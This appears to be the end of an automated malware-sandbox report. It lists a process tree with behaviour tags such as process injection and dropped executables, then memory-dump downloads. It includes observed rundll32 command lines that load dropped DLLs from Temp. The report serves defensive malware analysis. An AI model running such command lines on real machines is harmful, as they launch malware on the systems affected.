                                                                                                                                                                                                                                                                                    PID:1328
                                                                                                                                                                                                                                                                            • c:\windows\system32\svchost.exe
                                                                                                                                                                                                                                                                              c:\windows\system32\svchost.exe -k netsvcs -s Themes
                                                                                                                                                                                                                                                                              1⤵
                                                                                                                                                                                                                                                                                PID:1192
                                                                                                                                                                                                                                                                              • c:\windows\system32\svchost.exe
                                                                                                                                                                                                                                                                                c:\windows\system32\svchost.exe -k netsvcs -s ProfSvc
                                                                                                                                                                                                                                                                                1⤵
                                                                                                                                                                                                                                                                                  PID:1104
                                                                                                                                                                                                                                                                                • c:\windows\system32\svchost.exe
                                                                                                                                                                                                                                                                                  c:\windows\system32\svchost.exe -k netsvcs -s Schedule
                                                                                                                                                                                                                                                                                  1⤵
                                                                                                                                                                                                                                                                                  • Drops file in System32 directory
                                                                                                                                                                                                                                                                                  PID:60
                                                                                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Roaming\vihuvbs
                                                                                                                                                                                                                                                                                    C:\Users\Admin\AppData\Roaming\vihuvbs
                                                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                                                    • Executes dropped EXE
                                                                                                                                                                                                                                                                                    • Checks SCSI registry key(s)
                                                                                                                                                                                                                                                                                    • Suspicious behavior: MapViewOfSection
                                                                                                                                                                                                                                                                                    PID:3200
                                                                                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Roaming\vihuvbs
                                                                                                                                                                                                                                                                                    C:\Users\Admin\AppData\Roaming\vihuvbs
                                                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                                                    • Checks SCSI registry key(s)
                                                                                                                                                                                                                                                                                    • Suspicious behavior: MapViewOfSection
                                                                                                                                                                                                                                                                                    PID:5916
                                                                                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Roaming\vihuvbs
                                                                                                                                                                                                                                                                                    C:\Users\Admin\AppData\Roaming\vihuvbs
                                                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                                                      PID:4376
                                                                                                                                                                                                                                                                                  • c:\windows\system32\svchost.exe
                                                                                                                                                                                                                                                                                    c:\windows\system32\svchost.exe -k netsvcs -s gpsvc
                                                                                                                                                                                                                                                                                    1⤵
                                                                                                                                                                                                                                                                                      PID:1004
                                                                                                                                                                                                                                                                                    • \??\c:\windows\system32\svchost.exe
                                                                                                                                                                                                                                                                                      c:\windows\system32\svchost.exe -k netsvcs -s BITS
                                                                                                                                                                                                                                                                                      1⤵
                                                                                                                                                                                                                                                                                      • Suspicious use of SetThreadContext
                                                                                                                                                                                                                                                                                      • Modifies registry class
                                                                                                                                                                                                                                                                                      • Suspicious behavior: EnumeratesProcesses
                                                                                                                                                                                                                                                                                      • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                                                                                                                                      • Suspicious use of WriteProcessMemory
                                                                                                                                                                                                                                                                                      PID:3728
                                                                                                                                                                                                                                                                                      • C:\Windows\system32\svchost.exe
                                                                                                                                                                                                                                                                                        C:\Windows\system32\svchost.exe -k SystemNetworkService
                                                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                                                          PID:4376
                                                                                                                                                                                                                                                                                        • C:\Windows\system32\svchost.exe
                                                                                                                                                                                                                                                                                          C:\Windows\system32\svchost.exe -k SystemNetworkService
                                                                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                                                                          • Drops file in System32 directory
                                                                                                                                                                                                                                                                                          • Checks processor information in registry
                                                                                                                                                                                                                                                                                          • Modifies data under HKEY_USERS
                                                                                                                                                                                                                                                                                          • Modifies registry class
                                                                                                                                                                                                                                                                                          PID:4984
                                                                                                                                                                                                                                                                                      • C:\Windows\system32\rUNdlL32.eXe
                                                                                                                                                                                                                                                                                        rUNdlL32.eXe "C:\Users\Admin\AppData\Local\Temp\axhub.dll",main
                                                                                                                                                                                                                                                                                        1⤵
                                                                                                                                                                                                                                                                                        • Process spawned unexpected child process
                                                                                                                                                                                                                                                                                        • Suspicious use of WriteProcessMemory
                                                                                                                                                                                                                                                                                        PID:4268
                                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\rundll32.exe
                                                                                                                                                                                                                                                                                          rUNdlL32.eXe "C:\Users\Admin\AppData\Local\Temp\axhub.dll",main
                                                                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                                                                          • Loads dropped DLL
                                                                                                                                                                                                                                                                                          • Modifies registry class
                                                                                                                                                                                                                                                                                          • Suspicious behavior: EnumeratesProcesses
                                                                                                                                                                                                                                                                                          • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                                                                                                                                          • Suspicious use of WriteProcessMemory
                                                                                                                                                                                                                                                                                          PID:4288
                                                                                                                                                                                                                                                                                      • C:\Windows\system32\rundll32.exe
                                                                                                                                                                                                                                                                                        rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
                                                                                                                                                                                                                                                                                        1⤵
                                                                                                                                                                                                                                                                                        • Process spawned unexpected child process
                                                                                                                                                                                                                                                                                        PID:5456
                                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\rundll32.exe
                                                                                                                                                                                                                                                                                          rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
                                                                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                                                                            PID:5476
                                                                                                                                                                                                                                                                                        • \??\c:\windows\system32\svchost.exe
                                                                                                                                                                                                                                                                                          c:\windows\system32\svchost.exe -k netsvcs -s seclogon
                                                                                                                                                                                                                                                                                          1⤵
                                                                                                                                                                                                                                                                                          • Suspicious use of NtCreateUserProcessOtherParentProcess
                                                                                                                                                                                                                                                                                          PID:5380
                                                                                                                                                                                                                                                                                        • C:\Windows\system32\svchost.exe
                                                                                                                                                                                                                                                                                          C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -s WPDBusEnum
                                                                                                                                                                                                                                                                                          1⤵
                                                                                                                                                                                                                                                                                            PID:1244
                                                                                                                                                                                                                                                                                          • \??\c:\windows\system32\svchost.exe
                                                                                                                                                                                                                                                                                            c:\windows\system32\svchost.exe -k localsystemnetworkrestricted -s fhsvc
                                                                                                                                                                                                                                                                                            1⤵
                                                                                                                                                                                                                                                                                              PID:5484

                                                                                                                                                                                                                                                                                            Network

                                                                                                                                                                                                                                                                                            MITRE ATT&CK Enterprise v6

                                                                                                                                                                                                                                                                                            Replay Monitor

                                                                                                                                                                                                                                                                                            Loading Replay Monitor...

                                                                                                                                                                                                                                                                                            Downloads

                                                                                                                                                                                                                                                                                            • memory/60-225-0x000001A632E70000-0x000001A632EE1000-memory.dmp

                                                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                                                              452KB

                                                                                                                                                                                                                                                                                            • memory/60-361-0x000001A633440000-0x000001A6334B4000-memory.dmp

                                                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                                                              464KB

                                                                                                                                                                                                                                                                                            • memory/588-286-0x00000000006D0000-0x00000000006D1000-memory.dmp

                                                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                                                              4KB

                                                                                                                                                                                                                                                                                            • memory/588-289-0x0000000004F10000-0x0000000004F11000-memory.dmp

                                                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                                                              4KB

                                                                                                                                                                                                                                                                                            • memory/588-306-0x0000000005070000-0x0000000005071000-memory.dmp

                                                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                                                              4KB

                                                                                                                                                                                                                                                                                            • memory/588-303-0x0000000004EB0000-0x0000000004EB1000-memory.dmp

                                                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                                                              4KB

                                                                                                                                                                                                                                                                                            • memory/1004-345-0x000002B9BCE40000-0x000002B9BCEB4000-memory.dmp

                                                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                                                              464KB

                                                                                                                                                                                                                                                                                            • memory/1004-219-0x000002B9BC760000-0x000002B9BC7D1000-memory.dmp

                                                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                                                              452KB

                                                                                                                                                                                                                                                                                            • memory/1104-357-0x000001B9CFFC0000-0x000001B9D0034000-memory.dmp

                                                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                                                              464KB

                                                                                                                                                                                                                                                                                            • memory/1104-224-0x000001B9CFF40000-0x000001B9CFFB1000-memory.dmp

                                                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                                                              452KB

                                                                                                                                                                                                                                                                                            • memory/1192-204-0x0000026A338D0000-0x0000026A33941000-memory.dmp

                                                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                                                              452KB

                                                                                                                                                                                                                                                                                            • memory/1192-368-0x0000026A33E40000-0x0000026A33EB4000-memory.dmp

                                                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                                                              464KB

                                                                                                                                                                                                                                                                                            • memory/1240-271-0x0000000000430000-0x000000000057A000-memory.dmp

                                                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                                                              1.3MB

                                                                                                                                                                                                                                                                                            • memory/1240-237-0x00000000001F0000-0x0000000000200000-memory.dmp

                                                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                                                              64KB

                                                                                                                                                                                                                                                                                            • memory/1280-325-0x0000000002D90000-0x0000000002DFF000-memory.dmp

                                                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                                                              444KB

                                                                                                                                                                                                                                                                                            • memory/1280-328-0x0000000002E00000-0x0000000002ED1000-memory.dmp

                                                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                                                              836KB

                                                                                                                                                                                                                                                                                            • memory/1384-371-0x000001A847F40000-0x000001A847FB4000-memory.dmp

                                                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                                                              464KB

                                                                                                                                                                                                                                                                                            • memory/1384-211-0x000001A847960000-0x000001A8479D1000-memory.dmp

                                                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                                                              452KB

                                                                                                                                                                                                                                                                                            • memory/1408-218-0x0000000000400000-0x00000000008F2000-memory.dmp

                                                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                                                              4.9MB

                                                                                                                                                                                                                                                                                            • memory/1408-213-0x0000000000900000-0x0000000000A4A000-memory.dmp

                                                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                                                              1.3MB

                                                                                                                                                                                                                                                                                            • memory/1428-358-0x0000021602CB0000-0x0000021602D24000-memory.dmp

                                                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                                                              464KB

                                                                                                                                                                                                                                                                                            • memory/1428-226-0x0000021602700000-0x0000021602771000-memory.dmp

                                                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                                                              452KB

                                                                                                                                                                                                                                                                                            • memory/1708-205-0x0000000000030000-0x0000000000039000-memory.dmp

                                                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                                                              36KB

                                                                                                                                                                                                                                                                                            • memory/1708-207-0x0000000000400000-0x0000000000896000-memory.dmp

                                                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                                                              4.6MB

                                                                                                                                                                                                                                                                                            • memory/1948-227-0x000001DA5CD40000-0x000001DA5CDB1000-memory.dmp

                                                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                                                              452KB

                                                                                                                                                                                                                                                                                            • memory/1948-362-0x000001DA5CE30000-0x000001DA5CEA4000-memory.dmp

                                                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                                                              464KB

                                                                                                                                                                                                                                                                                            • memory/2520-221-0x0000025AA3D70000-0x0000025AA3DE1000-memory.dmp

                                                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                                                              452KB

                                                                                                                                                                                                                                                                                            • memory/2520-340-0x0000025AA43A0000-0x0000025AA4414000-memory.dmp

                                                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                                                              464KB

                                                                                                                                                                                                                                                                                            • memory/2536-223-0x00000203BD040000-0x00000203BD0B1000-memory.dmp

                                                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                                                              452KB

                                                                                                                                                                                                                                                                                            • memory/2536-347-0x00000203BD130000-0x00000203BD1A4000-memory.dmp

                                                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                                                              464KB

                                                                                                                                                                                                                                                                                            • memory/2740-164-0x0000000064940000-0x0000000064959000-memory.dmp

                                                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                                                              100KB

                                                                                                                                                                                                                                                                                            • memory/2740-133-0x000000006B280000-0x000000006B2A6000-memory.dmp

                                                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                                                              152KB

                                                                                                                                                                                                                                                                                            • memory/2740-167-0x0000000064940000-0x0000000064959000-memory.dmp

                                                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                                                              100KB

                                                                                                                                                                                                                                                                                            • memory/2740-134-0x0000000000400000-0x000000000051D000-memory.dmp

                                                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                                                              1.1MB

                                                                                                                                                                                                                                                                                            • memory/2740-160-0x0000000064940000-0x0000000064959000-memory.dmp

                                                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                                                              100KB

                                                                                                                                                                                                                                                                                            • memory/2740-131-0x000000006B440000-0x000000006B4CF000-memory.dmp

                                                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                                                              572KB

                                                                                                                                                                                                                                                                                            • memory/2740-132-0x000000006FE40000-0x000000006FFC6000-memory.dmp

                                                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                                                              1.5MB

                                                                                                                                                                                                                                                                                            • memory/2740-163-0x0000000064940000-0x0000000064959000-memory.dmp

                                                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                                                              100KB

                                                                                                                                                                                                                                                                                            • memory/2780-372-0x0000026566210000-0x0000026566284000-memory.dmp

                                                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                                                              464KB

                                                                                                                                                                                                                                                                                            • memory/2780-222-0x0000026565C50000-0x0000026565CC1000-memory.dmp

                                                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                                                              452KB

                                                                                                                                                                                                                                                                                            • memory/2788-376-0x0000015820840000-0x00000158208B4000-memory.dmp

                                                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                                                              464KB

                                                                                                                                                                                                                                                                                            • memory/2788-216-0x000001581FF50000-0x000001581FFC1000-memory.dmp

                                                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                                                              452KB

                                                                                                                                                                                                                                                                                            • memory/2824-338-0x00000253EB1C0000-0x00000253EB234000-memory.dmp

                                                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                                                              464KB

                                                                                                                                                                                                                                                                                            • memory/2824-210-0x00000253EAE00000-0x00000253EAE71000-memory.dmp

                                                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                                                              452KB

                                                                                                                                                                                                                                                                                            • memory/2888-252-0x0000000001280000-0x0000000001295000-memory.dmp

                                                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                                                              84KB

                                                                                                                                                                                                                                                                                            • memory/2972-295-0x0000000005130000-0x0000000005131000-memory.dmp

                                                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                                                              4KB

                                                                                                                                                                                                                                                                                            • memory/2972-282-0x0000000000910000-0x0000000000911000-memory.dmp

                                                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                                                              4KB

                                                                                                                                                                                                                                                                                            • memory/2972-300-0x0000000005190000-0x0000000005191000-memory.dmp

                                                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                                                              4KB

                                                                                                                                                                                                                                                                                            • memory/2972-315-0x00000000051D0000-0x00000000051D1000-memory.dmp

                                                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                                                              4KB

                                                                                                                                                                                                                                                                                            • memory/2972-314-0x00000000050D0000-0x00000000056D6000-memory.dmp

                                                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                                                              6.0MB

                                                                                                                                                                                                                                                                                            • memory/2972-322-0x0000000005430000-0x0000000005431000-memory.dmp

                                                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                                                              4KB

                                                                                                                                                                                                                                                                                            • memory/2972-293-0x00000000056E0000-0x00000000056E1000-memory.dmp

                                                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                                                              4KB

                                                                                                                                                                                                                                                                                            • memory/3044-408-0x0000000006DB0000-0x0000000006DB1000-memory.dmp

                                                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                                                              4KB

                                                                                                                                                                                                                                                                                            • memory/3044-402-0x0000000006C80000-0x0000000006C81000-memory.dmp

                                                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                                                              4KB

                                                                                                                                                                                                                                                                                            • memory/3044-383-0x0000000001060000-0x0000000001061000-memory.dmp

                                                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                                                              4KB

                                                                                                                                                                                                                                                                                            • memory/3044-387-0x0000000006DE0000-0x0000000006DE1000-memory.dmp

                                                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                                                              4KB

                                                                                                                                                                                                                                                                                            • memory/3044-406-0x0000000007620000-0x0000000007621000-memory.dmp

                                                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                                                              4KB

                                                                                                                                                                                                                                                                                            • memory/3044-400-0x00000000075B0000-0x00000000075B1000-memory.dmp

                                                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                                                              4KB

                                                                                                                                                                                                                                                                                            • memory/3044-382-0x00000000067A0000-0x00000000067A1000-memory.dmp

                                                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                                                              4KB

                                                                                                                                                                                                                                                                                            • memory/3044-397-0x0000000007540000-0x0000000007541000-memory.dmp

                                                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                                                              4KB

                                                                                                                                                                                                                                                                                            • memory/3336-159-0x0000000000990000-0x0000000000991000-memory.dmp

                                                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                                                              4KB

                                                                                                                                                                                                                                                                                            • memory/3336-165-0x000000001B400000-0x000000001B402000-memory.dmp

                                                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                                                              8KB

                                                                                                                                                                                                                                                                                            • memory/3396-294-0x00000000058D0000-0x00000000058D1000-memory.dmp

                                                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                                                              4KB

                                                                                                                                                                                                                                                                                            • memory/3396-302-0x0000000001990000-0x0000000001991000-memory.dmp

                                                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                                                              4KB

                                                                                                                                                                                                                                                                                            • memory/3396-309-0x0000000005920000-0x0000000005921000-memory.dmp

                                                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                                                              4KB

                                                                                                                                                                                                                                                                                            • memory/3396-280-0x0000000000F00000-0x0000000000F01000-memory.dmp

                                                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                                                              4KB

                                                                                                                                                                                                                                                                                            • memory/3728-179-0x0000020915C80000-0x0000020915CCC000-memory.dmp

                                                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                                                              304KB

                                                                                                                                                                                                                                                                                            • memory/3728-323-0x00000209159B0000-0x00000209159B4000-memory.dmp

                                                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                                                              16KB

                                                                                                                                                                                                                                                                                            • memory/3728-327-0x00000209137E0000-0x00000209137E1000-memory.dmp

                                                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                                                              4KB

                                                                                                                                                                                                                                                                                            • memory/3728-332-0x00000209137C0000-0x00000209137C4000-memory.dmp

                                                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                                                              16KB

                                                                                                                                                                                                                                                                                            • memory/3728-203-0x0000020915D40000-0x0000020915DB1000-memory.dmp

                                                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                                                              452KB

                                                                                                                                                                                                                                                                                            • memory/3728-329-0x00000209137E0000-0x00000209137E4000-memory.dmp

                                                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                                                              16KB

                                                                                                                                                                                                                                                                                            • memory/3876-316-0x0000000000400000-0x000000000067D000-memory.dmp

                                                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                                                              2.5MB

                                                                                                                                                                                                                                                                                            • memory/4144-373-0x0000000002C80000-0x0000000002D2E000-memory.dmp

                                                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                                                              696KB

                                                                                                                                                                                                                                                                                            • memory/4144-385-0x00000000072D0000-0x00000000072D1000-memory.dmp

                                                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                                                              4KB

                                                                                                                                                                                                                                                                                            • memory/4144-392-0x0000000004D60000-0x0000000004D7A000-memory.dmp

                                                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                                                              104KB

                                                                                                                                                                                                                                                                                            • memory/4144-384-0x00000000049E0000-0x00000000049FB000-memory.dmp

                                                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                                                              108KB

                                                                                                                                                                                                                                                                                            • memory/4148-363-0x0000000005740000-0x0000000005D46000-memory.dmp

                                                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                                                              6.0MB

                                                                                                                                                                                                                                                                                            • memory/4148-339-0x0000000000400000-0x000000000041E000-memory.dmp

                                                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                                                              120KB

                                                                                                                                                                                                                                                                                            • memory/4160-374-0x00000000001C0000-0x00000000001C9000-memory.dmp

                                                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                                                              36KB

                                                                                                                                                                                                                                                                                            • memory/4160-379-0x0000000000400000-0x0000000002C68000-memory.dmp

                                                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                                                              40.4MB

                                                                                                                                                                                                                                                                                            • memory/4288-177-0x0000000000CF0000-0x0000000000D4D000-memory.dmp

                                                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                                                              372KB

                                                                                                                                                                                                                                                                                            • memory/4288-176-0x0000000004182000-0x0000000004283000-memory.dmp

                                                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                                                              1.0MB

                                                                                                                                                                                                                                                                                            • memory/4316-297-0x0000000005A10000-0x0000000005A11000-memory.dmp

                                                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                                                              4KB

                                                                                                                                                                                                                                                                                            • memory/4316-321-0x0000000005C00000-0x0000000005C01000-memory.dmp

                                                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                                                              4KB

                                                                                                                                                                                                                                                                                            • memory/4316-318-0x0000000005930000-0x0000000005932000-memory.dmp

                                                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                                                              8KB

                                                                                                                                                                                                                                                                                            • memory/4316-281-0x0000000000EF0000-0x0000000000EF1000-memory.dmp

                                                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                                                              4KB

                                                                                                                                                                                                                                                                                            • memory/4352-354-0x0000000002380000-0x00000000023AF000-memory.dmp

                                                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                                                              188KB

                                                                                                                                                                                                                                                                                            • memory/4352-359-0x0000000000400000-0x00000000008AA000-memory.dmp

                                                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                                                              4.7MB

                                                                                                                                                                                                                                                                                            • memory/4376-215-0x00000229F60D0000-0x00000229F6141000-memory.dmp

                                                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                                                              452KB

                                                                                                                                                                                                                                                                                            • memory/4388-369-0x0000000004950000-0x00000000049ED000-memory.dmp

                                                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                                                              628KB

                                                                                                                                                                                                                                                                                            • memory/4388-381-0x0000000000400000-0x0000000002CBF000-memory.dmp

                                                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                                                              40.7MB

                                                                                                                                                                                                                                                                                            • memory/4516-342-0x0000000000400000-0x000000000325A000-memory.dmp

                                                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                                                              46.4MB

                                                                                                                                                                                                                                                                                            • memory/4516-334-0x0000000003390000-0x00000000034DA000-memory.dmp

                                                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                                                              1.3MB

                                                                                                                                                                                                                                                                                            • memory/4612-386-0x00000296F6BD0000-0x00000296F6C3E000-memory.dmp

                                                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                                                              440KB

                                                                                                                                                                                                                                                                                            • memory/4984-311-0x000001FA01170000-0x000001FA011E4000-memory.dmp

                                                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                                                              464KB

                                                                                                                                                                                                                                                                                            • memory/4984-313-0x000001FA00EA0000-0x000001FA00EEE000-memory.dmp

                                                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                                                              312KB

                                                                                                                                                                                                                                                                                            • memory/5108-308-0x0000000005420000-0x000000000591E000-memory.dmp

                                                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                                                              5.0MB

                                                                                                                                                                                                                                                                                            • memory/5108-288-0x0000000000A20000-0x0000000000A21000-memory.dmp

                                                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                                                              4KB

                                                                                                                                                                                                                                                                                            • memory/5108-292-0x0000000005920000-0x0000000005921000-memory.dmp

                                                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                                                              4KB

                                                                                                                                                                                                                                                                                            • memory/5108-299-0x0000000005420000-0x0000000005421000-memory.dmp

                                                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                                                              4KB